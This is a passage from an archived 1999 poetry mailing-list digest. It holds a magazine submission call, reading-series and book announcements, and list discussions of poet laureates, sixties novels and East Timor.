1- short stories, poems, any kind of experimental text, with an evident connection to present time: transformations, electronic media, cyberspace, spiritual developments, ethical problems and so on.

2- articles and short essays on the same themes.

Anyway I will be glad to consider anything, even outside the main themes. Consider that the magazine will be targeted on creative texts much more than on essays. I hate to give length limits to writers (being a writer myself and hating to have such limits...): but please remember your text should be one among others, and not the one that fills the whole magazine. IMPORTANT: please send the texts via e-mail as attached file -or snail mail on a floppy disk- also (save as: text, txt, rtf). Texts in English or French will be published in their original language with an Italian translation. Texts in Italian will be published only in the original language, except special cases, when they could be translated in English. Don't forget to write on the work itself (not only on the envelope!) your name, address and so on.

B) IMAGES Any subject. Any technique allowed. Any size. Electronic images (jpeg, tiff and so on) welcome. Paper prints or original works welcome as well. Please be conscious that the works reproduced in the internal pages will be grey scale printed. Don't forget to write on the work's back (not only on the envelope!) your name, address and so on.

C) REVIEWS We plan to publish a note about ANY publication that we'll receive, being on printed paper, magnetic or laser support; literary, musical or multimedia. Any press release is welcome too: but in that case we will choose if to include it or not.

D) MAIN THEME We would like to have a main theme for each issue. This will come in the future. In number zero there will be just a thematic section. Key-word: AVATAR. Works on this subject are more than welcome.

CONTRIBUTORS If you want to participate to this experiment, you have to do it for free. This is a no-profit attempt to create a new, free artistic medium. Number zero will be widely diffused among magazines, cultural institutions and so on. I promise I'll send two complimentary copies to all the published participants and one to all those who proposed original materials, even if not published (press releases not included). I warmly suggest you to send also a biography and a picture of yours, because I plan to publish a small but complete file about any of the contributors at the end of the magazine. For obvious reasons, we will not send back the works you mail us.

COPIRIGHT
It remains property of the authors, that will be free to do what they want of their works in the future.

TEAM
At the moment our team is composed by: Giuseppe Iannicelli, Alberto Crosio, Veronica Villa, Diego Fasano.

ADDRESS:

you can send your works to:
Siliconathanor - CP 122 I-15100 Alessandria - ITALIA

The email you can use as well is:
[redacted]

Please always begin the subject of the email with the word "siliconathanor", then add anything you need to.

Best regards. Giuseppe Iannicelli

IF YOU DO NOT WANT TO RECEIVE ANYMORE INFO ABOUT THIS PROJECT, PLEASE JUST REPLY TO THIS MESSAGE WITH THE WORD "REMOVE" IN THE BODY OF THE MESSAGE. Thanks

==========
Siliconathanor. Universes inside your mind. And your machine.

The Lab, a virtual place for experimenting Arts
http://members.tripod.com/~thelab/ [redacted]
==========
======

↑ Index

107. megan minka lola camille roy
Euro-San Francisco Poetry festival
Wed 8 Sep 1999

Hi poetics list,
This is (as far as I know) a complete schedule of this VERY special event, co-sponsored by many San Francisco literary organizations and cultural agencies. If you want more info on an particular event than is listed here, I suggest calling the presenting organization. (I haven't found a central coordinator and can't help you with questions, sorry.) This is an opportunity to hear poets who are very rarely (if ever) here, as well as wonderful local writers and translators. It looks super...
camille roy

Euro-San Francisco Poetry Festival

Co-sponsored by Alliance Francaise, in conjuction with the Euro-San Francisco Poetry Festival, a 5-day series of events sponsored by Alliance Francaise, Goethe-Institut, and the Istituto Italiano di Cultura, in collaboration with City Lights Books, Intersection for the Arts, New Langton Arts, the San Francisco Art Institute, and Small Press Traffic.

special event: poetry reading

an evening of french poetry with
Jean Fremon
translated by Cole Swensen
&
Anne Portugal
translated by Norma Cole

Saturday
September 25, 1999
8 pm
box office opens at 7pm

Tickets:
$6 general
$4 langton members, students, and seniors

for information or reservations
call [redacted]
reservations recommended

1246 Folsom Street
San Francisco
between 8th and 9th streets

The rest of the schedule is:

Wednesday, Sept. 22
7:30pm at San Francisco Art Institute
poets Edoardo Sanfuineti, Guilia Niccolai, & Luigi Vallerini

Thursday, Sept. 23
1-4pm at Intersection for the Arts
Translation workshop with European Poets and their translators

Friday Sept. 24
7:30pm at Small Press Traffic
(New College Theater)
Stage Reading/Performance by German poet Tracy Splinter and SF poets Kevin Killian and Jocelyn Saidenberg

Saturday, Sept. 25
2pm at Intersection for the Arts
Spoken Poetry Performance by German poets Bastian Bottcher and Philipp Schiemann with Bay Area poets TBA

Saturday, Sept 25
8pm at New Langton Arts
An evening with French poets Anne Portugal and Jean Fremon
translated by Norma Cole and Cole Swenson. (See above).

Sunday, Sept. 26
1-4pm at SF Art Institute
Closing event with participating European poets & translators as well as SF
peots Bill Berkson, Joanne Kyger, Duncan McNaughton, Nathaniel Mackey, Leslie Scalapino, & Aaron Shurin. Guest of Honor, Lawrence Felinghetti.

--

Go there, get paid, right now, bulls-eye, never before, sure fire:
http://www.grin.net/~minka

"Concealment is what I most enjoy: I love organs." (C. Harryman)

↑ Index

108. Catherine Daly
Re: NYC Bookstores
Wed 8 Sep 1999

I was just in NY and surprised that Tower records clearance outlet (and by extension, Tower Records) has a lot of Talisman Bks, Harryette Mullen's _Muse & Drudge_, and a lot of other interesting stuff. Much better than Tower Outlet in THIS NoHo.

Rgds,
Catherine Daly
[redacted]

↑ Index

109. r. drake
(fwd) New book by BRENDA COULTAS
Wed 8 Sep 1999

> *Date: Wed, 08 Sep 1999 14:05:17 -0700*
> *From: Mary Burger <[redacted]>*
> *Subject: New book by BRENDA COULTAS*
>
> *Second Story Books announces the publication of*
>
> *A SUMMER NEWSREEL*
> *by Brenda Coultas*
>
> *"Those new to Coultas' writing are in for a fine treat: for several years,*
> *Coultas has been conducting an in-depth evaluation of the interstices of*
> *rural and semi-rural America and A Summer Newsreel is another stunning*
> *chapter in the most gloriously idiosyncratic work around." --Laird Hunt*
>
> *23 pages with hand-stitched binding, vellum and monotone color photo cover.*
>
> *Available from SMALL PRESS DISTRIBUTION:*
> *http://www.spdbooks.org, tel.* [redacted]
>
> *or from SECOND STORY BOOKS:*
> *Send a check for $5.00 payable to MARY BURGER at:*
> *Second Story Books*
> *Mary Burger, Editor*
> *85 Henry St. #5*
> *San Francisco CA 94114*

> *Write/email for more information on other Second Story books:*
> *NOT RIGHT NOW, Renee Gladman*
> *THE TELEVISION DOCUMENTARY, Lauren Gudath (forthcoming)*
> *CONFUZION COMIX, Jacques Debrot (forthcoming)*

↑ Index

110. Brendan Lorber
SWEET REVENGE AT THE ZINC BAR...
Wed 8 Sep 1999

That's right - rise up downstairs as the ZINC BAR SUNDAY NIGHT READING SERIES kicks off the fall season. We've run the series all summer & now it's time for you to take over - & to take advantage of your hosts' sun-addled minds & sun-addled minds. Let me explain: The vast number of crummy open mics around the country do nothing to address the real desire of most poets - that is, to run a series themselves. And so we've taken it upon ourselves to begin the autumn with an open-host night at the Zinc Bar.

Series founder Joe Eliot returns to guest mc on September 12 when audience members & former readers are invited to introduce Brendan Lorber & Douglas Rothschild, the word-drunk curators. Wearing clever disguises & employing our vast network of spies, Douglas and I have ascertained that many people look upon this evening as an opportunity to get back at us for our somewhat tangential, sprawling approach to introductions during the rest of the year. One person anticipates an evening not unlike the scene in Airplane in which people line up with boxing gloves and monkey wrenches to take turns calming a hysterical passenger.

Whatever the outcome, we foolishly invite all of you to come & introduce us and, if there is time, we'll read some of our own work after.

The following week, four Danish poets will be reading their poetry in English & Danish as part of a broader festival of Danish culture throughout the Metropolitan Area this month. It should prove to be a memorable night & we recommend checking out the other events Denmark is bringing us, in addition to this reading.

Continuing on the international tip, the final week in September brings us Indran Amirthanayagam & Ron Price. Indran's in town briefly & is making a rare appearance. (He'll also be reading on MAD ALEX Presents on Monday Sept 27th if you'd like to see him again.)

In October we'll be hosting a global blend of poets whose work spans several languages and whose names are certain to be bolloxed by Douglas' spelling ability and Brendan's distracted states.

So here's the rundown for September

SUNDAY SEPTEMBER 12:
DOUGLAS ROTHSCHILD &
BRENDAN LORBER
(Joe Eliot moderates and YOU are the special guest host)

SUNDAY SEPTEMBER 19:
KATRINE MARIE GULDAGER &
SOREN ULRIK THOMSEN &
ANNE METTE LUNDTOFTE &
TODD THILLEMAN

SUNDAY SEPTEMBER 26:
INDRAN AMIRTHANAYAGAM &
RON PRICE

The Zinc Bar is at 90 West Houston Street between Laguardia & Thompson, in the basement. After the reading & every night in fact, the Zinc Bar has some pretty good jazz.

All readings "start" at 6:37pm every single Sunday.

We ask for three bucks, which go to the readers. If you can't manage three bucks, give us whatever you can manage, even if its just best wishes. We recommend bringing a little extra tho, as readers often bring their books & Brendan is always flogging his LUNGFULL!Magazine.

If you need more information: [redacted] or [redacted]. (For extra fun, why not conference these two numbers together & then secretly listen in.) You can also e us at [redacted], though we can't guarantee the degree of delight that'll bring.

As always, if this email grieves you - because, say, you don't want it, please let us know & you'll never hear from the Zinc boys again.

On behalf of Douglas Rothschild and all of us at the Zinc Bar Sunday Night Reading Series, thanks for your time. I'm Brendan Lorber. Good night, & we'll see you on Sunday.

↑ Index

111. Patrick Herron

Re: I can't believe it!!!

Thu 9 Sep 1999

Good idea to speak up and out about East Timor. It may also be just as good and probably easier to protest the American gov't for their ongoing role in the slaughter and oppression of the East Timorese. It was the American Gov't. that paid for and supervised the original Indonesian invasion, and the American gov't is trying hard to escape culpability with ambiguous declarations (coming from such shits as Madeline Albright) about the chaotic and oppressive state of affairs while also trying to take any potential actions and tie them up in red tape. Such action clearly gives the Indonesian gov't has a chance to tie up power once again while everyone else takes their time designating panels and working groups. Since a visit by Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian government, using mostly US-made and US-paid-for weapons and military intelligence support, has killed between 1/4 and 1/3 of the original inhabitants. That's about 200,000-300,000 people. We're talking concentration camps between 1975-1979. Paid for by US taxpayers. Certain people meant business when it all started 24 years ago; I don't think they mean any less harm now. If the US supported the democratic efforts of the East Timorese none of this probably would have happened.

http://www.freetimor.com/

http://www.lbbs.org/ZNETTOPnoanimation.html

http://www.motherjones.com/east_timor/

http://www.etan.org/

regards,
Patrick Herron

>so what the way i see it.. maybe better protest to the
indonesian government on the handling of the east timorese might be a better usage of your time; [redacted]

thanks pete spence

Get Your Private, Free Email at http://www.hotmail.com

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

112. Richard Dillon
Re: the lack of a state poet laureate
Thu 9 Sep 1999

HAZO!

Poet Laureate of PENN SYL VA NIA!

>From: George Bowering <[redacted]>
>To: [redacted]
>Subject: Re: the lack of a state poet laureate
>Date: Wed, Sep 8, 1999, 1:39 AM
>

> *Calif, my home state for 37 years, 37 years during which time I have never known who the PL was, nor have I noticed any damage to poetry resulting from this absence or, indeed, presence.*
>
> *David Bromige, CPL*
>
> *Yes, David, but in those 37 years, have you ever known who the governor was?*
>
> *George Bowering.*
>
> *,*
>
> *fax:* [redacted]

↑ Index

113. Stephen Ellis
Re: Olson quotation
Thu 9 Sep 1999

Tom, I think it occurs first in "The Special View of History", tho I don't know wher exactly. Also, Charles' copious "death notes" mention this same sentem-nce in several differernt contextxs/If you do'n't have access to them, write me and I'll send them on to you.\ Beestm, Stephen

> *From: Tom Orange <*[redacted]*>*
> *Reply-To: UB Poetics discussion group <*[redacted]*>*
> *To:* [redacted]
> *Subject: Olson quotation*
> *Date: Wed, 8 Sep 1999 10:53:26 -0400*

> *hello all,*
>
> *can anyone help me identify this olson quotation?:*
> *"that which exists through itself is what is called meaning."*
>
> *much thanks,*
> *tom orange in d.c.*

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

114. Pritchett,Patrick

Re: LEFT HAND READING SERIES, Thurs. Sept. 16 @ 8:30pm

Thu 9 Sep 1999

> ***THE LEFT HAND READING SERIES 1999-2000 SEASON*
> *KICKS OFF ON THURSDAY, SEPT. 16 @ 8:30 PM***
>
> *The Left Hand Reading Series is proud to present featured readers ANSELM HOLLO, AKILAH OLIVER and BHANU KAPIL RIDER for its first reading of the 1999-2000 season.*
>
> *Left Hand Books is located at 1825 Pearl St, between 18th & 19th, above the Crystal Market.*
> *The reading is free, but donations are requested.*
>
> *ANSELM HOLLO is the author of over 35 volumes of poetry. His latest work includes "Corvus," "AHOE 2: Johnny Cash Writes a Letter to Santa Claus," and "PoLemics," with Jack Collom and Anne Waldman. He is one of this country's most accomplished translators and is a Core Faculty member at Naropa University.*
>
> *AKILAH OLIVER is the author of "The She Said Dialogues," and a founding member of the LA-based performance collective, The Sacred Naked Nature Girls. Currently an Adjunct Faculty member at Naropa University, she has received awards for writing and performance from the Rockefeller Foundation and the California Council of the Arts.*
>
> *BHANU KAPIL RIDER'S first book, a prose-poem entitled "The Vertical Interrogation of Strangers," is forthcoming from Kelsey Street Press. Selections from her novel, "The Autobiography of a Cyborg," will appear in the prestigious journal Conjunctions.*
>
> *A brief Open Reading will begin the evening.*
>
> *For more information, please call Mark DuCharme ([redacted]) or Patrick*

> *Pritchett ([redacted])*
>
> *The Left Hand Reading Series is funded in part by grants from the Boulder Arts Commission and the Assembly for Humanities and Arts in Boulder.*

↑ Index

115. Aldon Nielsen
Tosh Sighting
Thu 9 Sep 1999

Just noticed that Tosh Berman (along with Wallace & Shirley) appears in Philip Whalen's "In The Center of Autumn" --

↑ Index

116. Poetics List
Performance Advertisement - Joseph Hyde & Alaric Sumner / Sumner
Thu 9 Sep 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------
Date: Mon, Sep 6, 1999 2:11 PM +0000
From: Alaric Sumner <[redacted]>
Subject: Performance Advertisement - Joseph Hyde & Alaric Sumner

(sorry for any crossposting)

Nekyia (a recital for eyes and ears)
presented by Joseph Hyde and Alaric Sumner
Saturday 25 September in Somerset, UK

Includes: Hyde and Sumner's collaboration 'Nekyia' (for speaker, singer, electroacoustic sound, live electronics and video); Kurt Schwitters; Hugo Ball; Hyde's 'In Sunlight' and 'Vox Mechanix'; reading of excerpts from Sumner's 'Tonight', a few new 'Letters for dear Augustine' and his two short collaborations with soundartist John Levack Drever, 'Hope' and 'Sound'.

Performers include Rory McDermott ('The Unspeakable Rooms') and singer Steve Halfyard.

The piece 'Nekyia' will also be performed in Montreal in September and Oslo in October.

BY INVITATION ONLY

IF YOU WOULD LIKE AN INVITATION PLEASE EMAIL mailto:[redacted]

Further details:
http://www.dartington.ac.uk/~j.hyde/nekflyer.html

---------- End Forwarded Message ----------

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117. Poetics List
temple reading schedule / osman
Thu 9 Sep 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------
Date: Tue, Sep 7, 1999 2:37 PM -0400
From: jena osman <[redacted]>
Subject: temple reading schedule

For those of you in the Philadelphia area, here is the upcoming reading series hosted by the Temple University Creative Writing Program. All readings are free to the public, start at 8:00 p.m. and take place at the Temple Gallery, 45 North 2nd St.

September 16, Mei-mei Berssenbrugge

September 30, Jonathan Ames

October 7, Caroline Seebohm

December 1, Robert Coover

December 2, Carla Harryman

---------- End Forwarded Message ----------

↑ Index

118. Macgregor Card
New England Mags?
Thu 9 Sep 1999

Does anyone captain or know of any small New England litmags that might be interested in setting up a booth at the Bartlett Society book fair, in Providence, at Brown, late October Saturday? Sales would generate revenue, word-of-mouth and money. Fine-press centurions are attending from as far away from home as Manhattan. I've already talked with Michael Magee, of the fabulous _Combo_. Any other takers? "Regional" webmags are welcome to submit a link (there'll be a magazine webprojection). Send an email this week if you might be interested: [redacted].

Thanks,
Macgregor

↑ Index

119. Poetics List
New Barrett Watten criticism in Qui Parle 11.1 / Nickels
Thu 9 Sep 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------
Date: Wed, Sep 1, 1999 4:33 PM -0400
From: Joel Tyler Nickels <[redacted]>
Subject: New Barrett Watten criticism in Qui Parle 11.1

A new essay by Barrett Watten which might be of interest to the poetry crowd is appearing in issue 11.1 of the Berkeley theoretical journal Qui Parle. It's entitled "The Constructivist Moment: From El Lissitzky to Detroit Techno." Barrett and I are trying to spread the word that the issue is now out. For more info, you can contact me directly at [redacted], or email Qui Parle at [redacted]. Our website is http://socrates.berkeley.edu/~quiparle.

---------- End Forwarded Message ----------

↑ Index

120. Maria Damon
Re: Novels of the Sixties
Thu 9 Sep 1999

At 4:41 PM -0800 9/8/99, Mark Salerno wrote:
>Colleagues:
>
>I'd appreciate hearing from anyone with suggestions for a course on the
>Novels of the Sixties. Of particular interest are novels that reflect,
>in form and/or content, the counter culture. The limit for this theme
>(arbitrary though it may be) is that the publication date of the book
>must fall between 1960 and 1970.
>
>Reply by backchannel.
>
>Thank you.

>
>Mark Salerno

i'd be curious to hear folks's suggestions so if you don't mind frontchannel, mine is Leonard Cohen's Beautiful Losers.

↑ Index

121. Aldon Nielsen
Re: New Barrett Watten criticism in Qui Parle 11.1 / Nickels
Thu 9 Sep 1999

Just tried to access that site to read the Watten essay, in hopes of getting the portion he didn't have time to deliver at the Toronto MLA, but I got a message that it wasn't found on the specified server -- Hope this just means the server is temporarily down or some such thing --

↑ Index

122. A H Bramhall
Backwards from Myrna Loy
Thu 9 Sep 1999

A Reproach

it's so simple: make up the biography! it's not as if distance didn't exist in this and all matters. skidmarks litter the road to fame. take the current example: working with her poet/boxer friend, Myrna Loy developed a new way to exaggerate. she defined her region of interest, simulating participation, while her boxer/poet friend, Arthur Cravan, defined his, simulating disinterest. the modern puzzle was easily solved. Loy the subject, meaning Mina, became a logo, an experience and a DRAMATIC TURN OF EVENTS!!!. Myrna, famous in her own right, knew the price of fame. her emphasis was clear. she would kick off her shoes as William Powell, no poet/boxer he, sauntered about the apartment shaking the iconic martini shaker with a dolourous abandon, at the same time declaring with a burp "I have a book in me." modernist Myrna would simply sigh, "my dogs are killing me." Not Asta, the literal dog but -- oh my -- we have taken a trip with the possible. Mina Loy said modernism will just have to take care of itself, whether biography outlives her or not. she implies that we should unite the streams of resistance and truth, and tremble beneath the new kabalistic glare. she knew, I'm sure, that moderner babies are born every day, and each will want a newer biography, the shimmer of which will suggest novelistic possibilities. sure, we are all still people, in the usual marginal use of that term, but oh, we could talk about more. Mina Loy, therefore, is NOT Myrna Loy. not now, and maybe not to come. the connective tissues maintain a tenuous grip,

which is why the genre called futurity is so passe. one concludes, then, that being force fed by the collected authority doesn't really help.

↑ Index

123. Billy Little
Re: Novels of the Sixties
Thu 9 Sep 1999

---

beautiful losers by leonard cohen
been down so long looks like up to me by richard farina
four gated city
briefing for a descent into hell both by doris lessing
speeches of a brazen head phil whalen
trout fishing in america by richard brautigan
the white album by joan didion
the crying of lot 49
v both by tom pynchon
great jones street dom de lillo
cat's cradle
brakfast of champions
god bless you mister rosewater
slaughterhouse five all by kurt Vonnegut
confessions of a crap artist
the transmigration of timothy archer
ubik all by phil dick
small changes
vida
woman on the edge of time all by marge piercy
on the road(is this a fifties novel or sixties novel?)
subterreanians
dharma bums
doctor sax
vanity of duluoz(sp?) all by Jack Kerouac
enormous changes at the last minute grace paley
the sky changes
the imaginative qualities of actual things both by gilbert sorrentino
good day to die by jim harrison
go in beauty
the bronc people
portrait of the artist with twenty six horses by william eastlake
hard rain don carpenter
hall of mirrors robert stone

omensetter's luck william gass
the ticket that exploded
nova express bill burroughs
last exit to brooklyn hubert selby
hopscotch julio cortazar
the deans december saul bellow
the floating opera john barth
second skin john hawkes
st. urbain's horseman mordechai richler
catch 22 joseph heller
come back dr. caligari
the dead father both by donald barthelme
the origin of the brunists
universal baseball association both by robert coover

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

124. Billy Little
Re: the lack of a state poet laureate
Thu 9 Sep 1999

---

the poet laureate of california has a mahvelous piece in the new tads#5 which includes work by Renee Rodin, george stanley, george bowering, kedrick james, curt lang, zoran bognar. Send Jamie Reid 382 E. 4th St. North Vancouver, B.C., Canada V7L 1J2 some postage($2?) he'll send you the mag what a deal!

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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125. Nate and Jane Dorward

The Poetry of Peter Riley

Thu 9 Sep 1999

The Gig 4/5: The Poetry of Peter Riley

The next issue of _The Gig_ magazine will be a special perfectbound double-issue of essays on the poetry of Peter Riley. This will provide the first substantial collection of criticism and commentary on an oeuvre which has already, with such classic books as _Lines on the Liver_, _Tracks and Mineshafts_ and _Distant Points_, been widely influential and admired. The issue's contributors will include Andrew Crozier, Nigel Wheale, John Hall, Keston Sutherland, Mark Morrisson, Tony Baker, Peter Larkin, Peter Middleton & others. It will also contain an interview conducted by Keith Tuma, previously unpublished poetry by Peter Riley, new translations by Lorand Gaspar, and a bibliography. This volume will pay long-overdue attention to one of the UK's most important poets.

The Gig needs advance support to enable the publication of this book. (There is, as one might anticipate, no public funding available in Canada for publishing work by non-Canadian authors.) The price is not yet fixed but we are asking for a minimum advance subscription of $20 Canadian dollars/$15 US dollars (prices include airmail within North America); or £10 in sterling (includes surfacemail to UK/overseas; add £2 for airmail). This amount may of course be increased by anyone who wishes thus to support the venture, and such support will be acknowledged.

Subscriptions from Canada and USA should be sent and paid to "Nate Dorward", at: _The Gig_, Nate Dorward, 109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada; ph: [redacted]; email: <[redacted]>. Subscriptions from UK and Europe may be sent and paid to Peter Riley (Books), 27 Sturton St., Cambridge, CB1 2QG, UK; ph/fax: 01223 576422; email: <[redacted]>.

Nate & Jane Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

↑ Index

126. Tosh
Re: Novels of the Sixties
Thu 9 Sep 1999

Here is something of use and interest: Jill Neville's 'The Love Germ.' It is a novel that takes place during the May 68 uprising. I believe it was written during that period.

Also I would think any fiction book by Terry Southern, The Soft Machine by Burroughs, etc.

Tosh Berman
TamTam Books

↑ Index

127. Joe Ahearn
Best Texas Writing 2 available
Thu 9 Sep 1999

Hi all,

I am posting this note for my colleague, Brian Clements, who is temporarily without Internet service.

Best,
Joe Ahearn

Best Texas Writing 2 is now available! This volume includes work by the excellent poets, essayists, and fictionists listed below. Recipients of this message are entitled to a 10% discount plus free shipping. Mail a check or money order for $13.50 (US) per book to Firewheel Editions, 6514 Barnsbury Ct., Dallas, TX 75248, and your book(s) will be shipped immediately. All proceeds from the sale of BTW2 go entirely towards the cost of printing this and other publications from Firewheel Editions, including Kristin Ryling's chapbook, _Trompe L'Oeil_, due this fall.

Joe Ahearn, Wendy Barker, Bruce Bond, Paul Christensen, Gillian Conoley, Carol Cullar, Cooper Esteban, Larry Fontenot, Dagoberto Gilb, Emily Fox Gordon, H. Palmer Hall, Edward Hirsch, Judith Kroll, S.D. Lishan, Lee Martin, Walt McDonald, Jack Myers, Chinwe Odeluga, Kathleen Peirce, Robert Phillips, Frank Pool, Pattiann Rogers, Jan Epton Seale, Matthew Sharpe, Christopher Soden, Laurel Speer, Sheryl St. Germain, Denise Stallcup, Maureen P. Stanton, Belinda Subraman, Miles Wilson, Steve Wilson, Christopher Woods.

Brian Clements
Publisher, Firewheel Editions

Joe Ahearn
[redacted]

↑ Index

128. Alan Sondheim
Culture and Anarchy
Thu 9 Sep 1999

=

Culture and Anarchy

"It may well be," he said, in his sudden lyrical manner, "it may well be on such a night of clouds and cruel colours that there is brought forth upon the earth such a portent as a respectable poet. You say you are a poet of law; I say you are a contradiction in terms. I only wonder there were not comets and earthquakes on the night you appeared in this garden."

[...]

"You are wrong," said the Secretary, drawing his black brows together. "The knife was merely the expression of the old personal quarrel with a personal tyrant. Dynamite is not only our best tool, but our best symbol. It is as perfect a symbol of us as is incense of the prayers of the Chris- tians. It expands; it only destroys because it broadens; even so, thought only destroys because it broadens. A man's brain is a bomb," he cried out, loosening suddenly his strange passion and striking his own skull with violence. "My brain feels like a bomb, night and day. It must expand! It must expand! A man's brain must expand, if it breaks up the universe."

(quotes from The Man Who was Thursday, G. K. Chesterton.)

"I have never been so tense as to write 'currenct' for 'current' or 'may bell we' for 'may well be' as I am now," they continued; the date was duly noted among each and every line, making no difference to the general at- mosphere. "It's impossible to think straight any longer," they said, hit- ting the table with their fists in a dull pounding, "just when one thought appears, another violates it, attempts to take its place. Everything melts before my eyes; there's nothing but red and black, black on red, red on black!" They replied with vehemence; the argument went on long into the night. The next morning, there would be headlines in the newspapers all across Europe; now was the time for reflection. "You can see an error for what it is," they said, "you can see it and see it - and nothing helps; it sits there, invisible! No wonder everything appears in version after

ver- sion! Our poor humanity gets by on its last ropes; what's left of it is always unrecognized, a victim of the slowness of speech, the deafness of the listener, dyslectic readers, genius!"

↑ Index

129. **Dodie Bellamy**
hypertext suggestions
Thu 9 Sep 1999

Hi, I have an independent study student who is going to do a hypertext horror piece. I have no problem helping her with the horror end of the project, but also want to suggest some good hypertext pieces and/or theories. I'm sending her the urls of a couple things that have caught my eye, but does anyone have any suggestions of some cut-above hypertext links? Or even books/articles on hypertext?

Thanks.

Dodie

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130. **Mark Weiss**
help
Thu 9 Sep 1999

Anybody have Eliot Weinberger's email address? Backchannel, please.

↑ Index

131. **Ralph Wessman**
Re: New England Mags?
Fri 10 Sep 1999

Hi Macgregor ... 'Nedge'? But I guess you know it. It's in the EPC Little Mag Al- cove, if not.

Best,

Ralph

> *Does anyone captain or know of any small New England litmags*

↑ Index

132. **pete spence**
Re: I can't believe it!!!
Fri 10 Sep 1999

please put this out to all mailartists for action. also send a protest
to:[redacted]
thanks pete spence

speak up and out about East Timor. It may also be just
>as good
>and probably easier to protest the American gov't for their ongoing role in
>the slaughter and oppression of the East Timorese. It was the American
>Gov't. that paid for and supervised the original Indonesian invasion, and
>the American gov't is trying hard to escape culpability with ambiguous
>declarations (coming from such shits as Madeline Albright) about the
>chaotic
>and oppressive state of affairs while also trying to take any potential
>actions and tie them up in red tape. Such action clearly gives the
>Indonesian gov't has a chance to tie up power once again while everyone
>else
>takes their time designating panels and working groups. Since a visit by
>Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
>government, using mostly US-made and US-paid-for weapons and military
>intelligence support, has killed between 1/4 and 1/3 of the original
>inhabitants. That's about 200,000-300,000 people. We're talking
>concentration camps between 1975-1979. Paid for by US taxpayers. Certain
>people meant business when it all started 24 years ago; I don't think they
>mean any less harm now. If the US supported the democratic efforts of the
>East Timorese none of this probably would have happened.
>
>http://www.freetimor.com/
>
>http://www.lbbs.org/ZNETTOPnoanimation.html
>
>http://www.motherjones.com/east_timor/
>
>http://www.etan.org/
>
>regards,
>Patrick Herron
>

>
>>so what the way i see it.. maybe better protest to the
>indonesian government on the handling of the east timorese might be a
>better
>usage of your time; [redacted]
>
>thanks pete spence
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com

_____
Get Your Private, Free Email at http://www.hotmail.com

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133. david bromige
a state w/o a laureate's like what happened to yr navel!?
Fri 10 Sep 1999

I thank you, fellow poetry-fans, for those three votes. They counterbalance the pair of hairsplitters who dont know whether i'm from venus or mars. But Bob Gruman has it right, of course---I only meant that each of us should make a like declaration. Given, that is, that we are uneasy w/o a representative.

It was a moment of flippitude. I diss noone. Peter, that is. Elected, shall serve....but not minors.

Pat Brown, Ronald Ragwort, Jerry Brown, George Deukmejian, Pete Wilson, Gray Davis, George. You forget that I worked for the state for 2/3 of my time served in calif.

db

↑ Index

134. Richard Dillon
Re: fwd from Carolyn Burke
Fri 10 Sep 1999

The plot of someone's life as pursued by a biographer versus biographer's wordsWORDS! whole passages of them LIFTED by some unscrupulous arrogant ambitious self assumed artiste ------
----

>From: Wystan Curnow <[redacted]>
>To: [redacted]
>Subject: Re: fwd from Carolyn Burke
>Date: Wed, Sep 8, 1999, 6:47 PM
>

> *Karen Kelley wrote:*
>
> *I'm a bit at a loss here. What, I wonder, would Carolyn Burke like? That she had been involved in the novelization process? That people not novelize biographies? That the novelizations be biographically accurate? That we not buy Antonia Logue's book? I'm sorry that she feels ripped off, and I can't speak as an academic-who's-been-ripped-off, but if someone's going to novelize a life, I don't see how they can get around the bio. No doubt Carolyn Burke thinks Antonia Logue cut too close to her own work, but where is a novelizer to turn? If Logue is going to speculate, must she speculate radically different speculations than Burke speculates? If you're novelizing a bio, aren't you mythologizing? And so perhaps preferable to use the more common myths?*
>
> *Excellent questions all, but I can't shake the feeling that I was expected to react to a brouhaha...*
>
> *I guess they do sound excellent to their author but am I the only reader who finds them mostly answered in Burke's post? WHERE IS THE NOVELIZER TO TURN? o, poor noveliser! Novelisers Go Home, I say. Seems like there's some confusion about genre here, about how to be in or out of genre or meaningfully neither in or out. Am I wrong?*
>
> *Wystan*

↑ Index

135. Edward Foster
The greatest American poet from Walt Whitman to Robert Frost
Fri 10 Sep 1999

Published today:

Stuart Merrill, The White Tomb: Selected Writings

"In the whole period, from Walt Whitman and Emily Dickinson to Edwin Arlington Robinson and Robert Frost, the greatest American poet is Stuart Merrill" -- Kenneth Rexroth

with translations by "Aeon," Jethro Bithell, Elaine L. Corts, Holly Haahr, John Hay, Anselm Hollo, John Porter Houston, Mona Tobin Houston, Laird Hunt, Jack

Lewis, Ludwig Lewisohn, Andrew Mangravite, Geoffrey O'Brien, Christine Pagnoulle, John Payne, Catherine Perry, Thomas B. Rudmose-Brown, and Henry Weinfield

Talisman House, Publishers, ISBN: 1-883689-85-6, $16.95

Order through LPC (www.coolbooks.com), SPD, or your local bookstore

"Merrill performed the incredibly difficult feat of wringing out of French versification the soft far-away music of the English Pre-Raohaelites. More than any other he produced the nearest thing in words to Debussy's music." --Vincent O'Sullivan, _Dictionary of American Biography_

Stuart Merrill (1863-1915) stood at the center of the international literary world in the late nineteenth and early twentieth centuries. Too American to fit into the French literary tradition and too French to fit into the American, he was a great maverick, important to both cultures but in the deepest sense belonging to none. As a Symbolist, he was among the forerunners of Modernism, and as a translator, he was crucial in making Stephen Mallarme and Paul Verlaine known in America and William Butler Yeats and Arthur Symons known in France. He defended the anarchists in the Haymarket Square riot of 1886, for which he was disinherited by his wealthy, socially prominent father. Leaving America permanently in 1892, he moved to Paris and later made his home near the palace at Versailles. A respected member of the inner circle surrounding Mallarme, he defended Oscar Wilde and Walt Whitman and published dozens of essays in support of young writers and new ideas. _The White Tomb_ includes major examples of his poetry (both in French and in English translation) as well as a selection of his translations and essays including his essays on his friends Wilde and Verlaine and his famous account of meeting Whitman shortly before the poets death.

